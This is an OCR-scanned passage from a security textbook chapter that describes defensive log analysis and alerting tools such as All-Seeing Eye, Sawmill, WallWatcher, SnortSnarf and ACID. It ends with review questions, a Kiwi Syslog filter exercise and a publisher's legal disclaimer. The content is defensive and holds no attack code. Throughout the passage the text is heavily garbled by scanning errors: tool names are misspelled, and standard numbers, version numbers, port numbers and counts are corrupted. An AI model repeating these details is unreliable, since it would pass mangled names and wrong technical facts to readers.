Log Analysis Tools

All-5eeing Eye
The All-Secing Eye suite monitors important areas of the computer and operating system. I contains several
tossls, such as the Fvent Log Tracker, which creates a notification as soon as o new message is added to the event
log by any source. It can also provide information from the Internet about what any event message means.

All-Seeing Eye learns what is normal for a specific computer and then detects anything that is new or out of
the ordinary. This way, it will also detect unknown threats, such as a completely new spyware program or a
hacker breaking into the computer with a custom-made tool.

All-Seeing Eye is shown in Figure 7-28 and contains the following tools:

* Process Tracker

* DLL Tracker

* Diriver Tracker

* Event Log Tracker

* Autostart Guard

* Kervice/Diriver Guard

* ActiveX Ohjsct Guard

* Erowser Helper Object (BHO) Guard

* Winsock Layered Security Provider {L5F) Guoard

* Hosts File Guard

* File Systermn Guard

* Registry Guard
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Figure 7-28 All-5eeing Eye is a suite of tooks designed to read and interpret logs.

Network Sniffer Interface

The Metwork Sniffer Interface (MSI) test tool provides an in-depth analysis of wireless traffic that can iden-
tify numerous IEEE 802,11 protocol vialations. Additionally, M50 is able to provide detailed diagrams based
on single station transmissions that include interframe space timing and FC5 error reports, and has updated
support for emerging standards including IEEE 802,118 (MAC Security Enhancements) and 802_11e (MAC
Enhancements for Quality of Service).

M51 is pictured in Figure 7-2%, and its features include the following:

ML has the ability to display the frame-length fields as a histogram. This helps identify problems that
arise with fragmentation or abnormal numbers of collisions.

ML has the ability to analyze the back-off procedure of stations by analyzing the IF5 times. These times
are then converted into time slots, separated by retry count, and plotted. This helps o identify noncon-
formant DMCF access.

It is easy to view the current medium koad with this feature of NSI.

Analysis of retry attempt count by frame provides insight into collisions and determines proper use of
the retry limit.

M5I supports importation of the following software file formats:

Metwork Associates, Inc. Sniffer Pro cap
Yeriwave Wavetest

Atheros DE

Intersil Argus 802

Intersil Argus Express 802

Symbuol snoop2 bin

Symbol snoop4 log

Wildpackets Airopesk MX

Ethereal
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Figure 7-20  N5| analyzes wireless traffic and identifies protoool violations.

Syslog Manager
Syslog Manager is a Windows syslog server based on Internet standard protocols. It receives syslog messages
from any system or network device. After processing by the filtering rules, it will generate an alarm message
and send it out by e-mail, SMS, syslog, SMMFP, or pager.

Syslog Manager is shown in Figure 7-30, and its features include the following:

* Unlimited access to syslog servers

* 5MS alert using SMPP, e-mail alert, and pager alert using SWFP

* 5MS alert using HT TP APl SNMF version 1123 alert

* Filtering rule for incoming syslog messages

* Syslog alert by forwarding the alert message to a syslog server

* Create contact persons and groups to receive the aleres

* Scheduling, charting, and reporting tools

Sawmill

Sawmill is a Cisco Router Log Format log analyzer, also supporting 736 other log formats. It can generate
dynamic statistics from these logs, analyzing and reporting events. Sawmill can parse logs, import them inta
an S0}L database jor its own built-in database], aggregate them, and generate dynamically filtered reports, all
through the Web interface shown in Figure 7-31. It works on any platform, incliding Window, Linux, FreeBSD,
OpenB5D, Mac 08, Solaris, UNIX, and others.

WallWwatcher

WallWatcher is a Windows tool that collects, displays, and analyzes log information from more than
104 routers and firewalls. WallWatcher can be extended to suppart most routers that send log records to a local
computer part, wsually 514 syslog) or 162 (SNMPTrap).
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WallWatcher is shown in Figure 7-32, and its features include the following:

-

-

-

-

Provides filtering, immediate alerts, e-mailed alerts, historical analysis, summaries, and charts:

= Filters to choose what data and time periods to log, display, analyze, and chart

= Alerts offer real-time visual and audible signals of possible intrusion attempts

= Histarical analysis helps find patterns of recent imtrusion attempts

* Summaries condense log histaries for easier review

® User-selectable charts help administrators spot patterns of suspicious activities

Supparts the DShield and myMetWarchman intrusion reporting systems

Converes [P addresses io names {URLsj and vice versa

Plaintext log file may be read by other programs even while WallWatcher is running

Collects and reports bandwidth usage if router supports SMMP or includes packet lengths in log records

Thea PAL Tool

The PAL (Performance Analysis of Logs) tool reads any known format in a performance monitor counter log
and analyzes it using complex, but known, thresholds. This tool has some predefined thresholds defined as high
aceording to Microsoft consultingdevelopment, but those can be adjusted.

PAL generates an HTML-based report that graphically charts important performance counters and throws
alerts when thresholds are exceeded. The thresholds are originally based on thresholds defined by the Microsoft
product teams and members of Microsoft support, but they continue to be expanded by this ongoing project.
This tool is not a replacement for traditional performance analysis, but it automates the analysis of performance
counter logs encugh to save time.

PAL is shown in Figure 7-33, and its features include the following:

-

Threshold files for major Microsoft products such as 115, MOSS, SQL Server, BizTalk, Exchange, and
Active Diirectory

GUI interface that creates batch files for the PAL vhs script
GUI editor for creating or editing threshold files
Creates an HTML-based report for easier copying/pasting into other applications

It analyzes performance counter logs using thresholds that change their criteria based on the computer's
role or hardware specifications
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Figure 7-32  ‘WallWatcher analyzes log informaticn from routers and firewalls.
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Figure 7-33 The PAL tool analyzes Windows performance mondtor counter logs.
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Figure 7-34 Ka Log Analyzer analyzes server log files.

Ka Log Analyzer

Ka Log Analyzer analyzes server log files, creating sortable results that can be viewed by providing context and
filters dynamically. Ka Log Analyzer is shown in Figure 7-34 and allows users to view:

= Accessed files of certain types, in certain folders, from certain referrers, or accessed by given 1Ps only
= HReferrers to images only
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Figure 7-25 Event Log Explorer collects, reports, and archives ewent logs
withouwt dient software.

* [Ps that accessed only given files
* How many visitors viewed page X, then page ¥, and so on, along with a list of those visitors and the
files they viewed
Event Log Explorer

Event Log Explorer is Web-based, real-time, agentless event monitoring and management software. It collects,
analyzes, reports, and archives event logs from distributed Windows hosts, as well as syslog entries from dis-
tributed UNIX hosts, routers, switches, and other devices. It generates graphs and reports that help in analyzing
system problems with minimal impact on network performance.

Event Log Explorer is shown in Figure 7-35, and its features include the following:

* Archives logs for the purpose of network auditing and w0 comply with various regulations such as

HIPAA, GLBA, S0OX, and PCI

* Helps organizations to meet host-based security information event management |SIEM) objectives

* Monitors networkwide critical security events

* Gives instant alerts on critical events on specific servers

* Archives distributed events to a central kecation

* Does not require client software or agents

Log Alert Tools
Network Eagle Monitor

Metwork Eagie Mlonitor can :untinun'us|r mumnitor the state of servers, various netwark services, databases,
and mwre over the network. When the state of a monitored object has changed, Network Eagle Monitor sends
various notification events or performs set actions.

MWetwork Exgle Monitor can automatically restart crucial network services should they fail, and notify the
system administrator team using e-mail, pager, and 5M5 alerts. Users can write their own check scripts using
JavaScript, YBScript, or any other script provider like ActivePerl or ActivePython.
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Metwork Eagle Monitor is shown in Figure 7-36 and can perform the following checks:
* PFing

TCEWIP port check

= FTT check

= HTTP/HTTPS link availability check

Disk space check

= External command exit eode check

Database check

® Custom script check

Process check

= Event log check

® MNT service check

* Hemaote access service check
= MM check

= Printer check

SQL Server Database Log Navigator

1ar

SL Server Database Log Mavigator keeps track of every data modification performed in the database as well
as who performed it and when. It provides a way to audit DML {Data Manipulation Language] activity without
the need to use triggers. While triggers are a convenient way to audit S0L server DML activity, they also invalve
a certain amount of overhead, which can hurt SQL server performance. On the other hand, using the log for

auditing eliminates the overhead of tracking DML activity.

Log Mavigator can be used to track transaction log changes made even before Log Mavigator was installed
by reading both the current bog and log backups. I exports log data to XML, Excel, and a database table for
direct user manipulation. Whenever data is inserted or updated, it shows exactly what data has been added or
madified on a column-by-column basis. Log Navigator also includes the ability to open and analyze more than

one database at the same time.
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Figure 7-26 Metwork Eagle Monitor continucusly checks wariows services
and restarts them if they fail.
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How Does Log Navigator Work?

Log Mavigator has two components: the client and the server. The client can be installed on any desktop com-
puter, while the server is installed on every SQIL server for which the user wants to view transaction logs. A single
client can be used to view log activity on any S0L server where the server component has been installed

Figure 7-37 shows two log entries along with the data that was inserted as a result of the first log entry.

As you can see in the top window, the first INSERT occurred on 8-6-2000 at 00:34:48 and was performed
on the Ovrders [table] by the user dbo, Below this first transaction are all the other transactions that have been
recorded in the log.

The lower window contains the data that were inserted by the first INSERT, which is also highlighted in the
top window., Anytime a record is highlighted in the top window, information about that record is displayed in
the bottom window.

Figure 738 helow shows what happens when a new record—in this case, a new employee—is inserted.

This is similar tw the previous screen, except for the description field. Instead of saying “DML," it says “im-
plicit transaction.” This means that the INSERT occurred as a resalt of an SQL server implicit transaction.

Figure 7-3% shows what happens to the History screen when the record is updated, in this case with a new
PostalCode. The History screen shows all data modifications ta the row, incduding the original INSERT and
the UPDATE. In addition, it will track all changes to this row of data. View the History screen by clicking the
Switch to History button.

SnortSnarf

SnortSnarf is a cross-platform tool written in Perl that provides HTM L output intended for diagnostic purposes.
The following command will bring up the usage menu:
snontsnarf. pl -usage
Snort provides the alert.ids file to SnortSnarf, which in turn will generate HTML pages. From the snortsnarf
directory, a user can enter the following command:
snontsnarf. pl alert.ids -win -rs
snortSnarf creates a subdirectory called snfout.alert.ids, which contains all of its HTML output.
Figure 7-40 shows a SnortSnacf HTML page.
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Figure 7-37 Here, Log Navigator shows twa log entries.
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Figure 7-28 Motice the difference after a new record was added.
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Figure -3 The History screen shows a record of all changes.

ACID (Analysis Console for Intrusion Databases)

The Analysis Console for Intrusion Databases (ACID) is a PHP-based analysis engine to search and process a
database of security events generated by warious 105, firewalls, and network monitoring teols. 1t is shown in
Figure 7-41, and its features include the following:

* (uery-builder and search interface for finding alerts matching on alert metainformation (e.g., signature
or detection time} as well as the underlying network evidence [eg., sourceidestination address, ports,

payload, or flags)
= Packet viewer [decoder| that graphically displays the layer-3 and layer-4 packet information of
logged alerts
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Figure 7-41 ACID can search and process a database of security events.
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® Alerts management to logically group alerts to create incidents (alert groups), delete the handled
alerts or false positives, export to e-mail for collaboration, or archive alerts to transfer them between
alert databases

* (Chart and statistics generation based on time, sensor, signature, protocal, 1P address, TCRUDP ports,
or classification

® Tools to analyze a wide variety of events that are postprocessed into its database, inchuding:
® Snort alerts
* Tcpdump binary logs
* IPChains and [P Tables
= PP

Chapter Summary
® This chapter discussed different techniques and tools for analyzing the following types of logs:
u Syslog
Web server logs
Router logs
Wireless network devices logs
Windows logs
Limux logs
SO)L server logs
WIM server logs
Firewall logs
1135 logs
DHCP logs

Review Questions
1. Mame the six categories of events that must always be logged.

1. Describe the proces of log shipping.

3. What is syslog?
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4. Why is NTP important for log analysis?

5. How can a user gather 115 logs?

6. How does grep aid in firewall log analysis?

7. Mame the default location of 115 log files.

B. How does bog prefixing aid in log readabilicy and organization?

Hands-On Projects
- l. Create a simple filter using Kiwi Syslog Daemon.
® Mavigate to Chapter 7 of the Student Resource Center.

Install and launch the Kiwi Syslog Daemon program.
® Orpen the setup file.

Browse to or type the destination in the Destination Folder text hox.

Run the Kiwi Syslog Daeman.

In the Kiwi Syslog Service Manager window, click the Mew bcon, as shown in Figure 7-42.
In the Kiwi Syslog Daemon Setup, select Rules.

Click the Create Mew [tem icon.

® A new rule is created that does not have any filters or actions defined.
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Figure 7-42 Click the New icon in the Service Manager window.

Slowly click on the rule twice to rename it.
Click Filvers under the new rule, and then clidk the Create New [tem icon.

From the Field drop-down list, select I address, and from the Filter Type drop-down list,
select Simple, as shown in Figure 7-43.

In the Include field, type the IF address from which all messages should be blocked.
Select the filter node again.
Click the Create Mew Item icon for a new filter.
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Figure 7-42  Select IP address from the Feld list and Simple from the Filter Type list.
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Fgure 7-44 Change the rule’s precedence with the armow buttons.

® Rename the new filter.
® Select the new filter and set Field to Message text and set Filter Type to Simple.

® In the Inclode text box, type in “ppp connected™ “pppdisconnected”™. The search items
must be in double quotes. Adding multiple quoted search strings means that the resalt can
match *ppp connected™ or *ppp disconnected”.

® To test the filter, use the test button at the bottom of the window.

® Mow, click on Actions under the new rule, and then click the Create Mew Item icon.
® Rename the new action.

© In the Assign drop-down lise, select Stop processing message.

® The precedence of the rule can be changed with the arrow buttons, as shown in
Figure 7-44.

» Click the Apply buttan, and the rule will be created.
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The EC-Council | Press Series” mission is to educate, introdwce and demonstrate Information Security related
tools and techniques for internal security analysis purposes only. You will not use the newly acquired skills for
illegal or malicious attacks and you will not use such tools in an attempt to compromise any computer system,
and you shall indemnify EC-Council and its partners from all liabiliey with respect to the wse or misuse of these
tools, regardless of imtent.

EC-Council provides the hacking skills and mwaols presented throughout the EC-Council | Press for educa-
tiomal use. The hacking tools are not authored by EC-Council, and in many cases are submitted by the security
community. EC- Council will not be held accountable for any damages caused by the proper orimproper usage of
these materials, and makes no guarantee in regards to their operation or suitability for any specific purpose.

The hacking tools used in the EC-Council | Press programs are meant for research and educational purposes
only. The primary intent of these tools is to provide the user with hard to find content for research or self edu-
cation relevant to network security and various protection methods and their intrinsic flaws by demonstrating
exploitation methods and techniques used to circumvent them. We hope that you become more aware of the
dangers that lurk in society teday and learn how to protect yourself from them with the knowledge you are about
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While possession of information or programs included in this training violates no laws, actually using or
implementing sume of the programs or content may violate 1.5, Federal and other laws. For this reason, the
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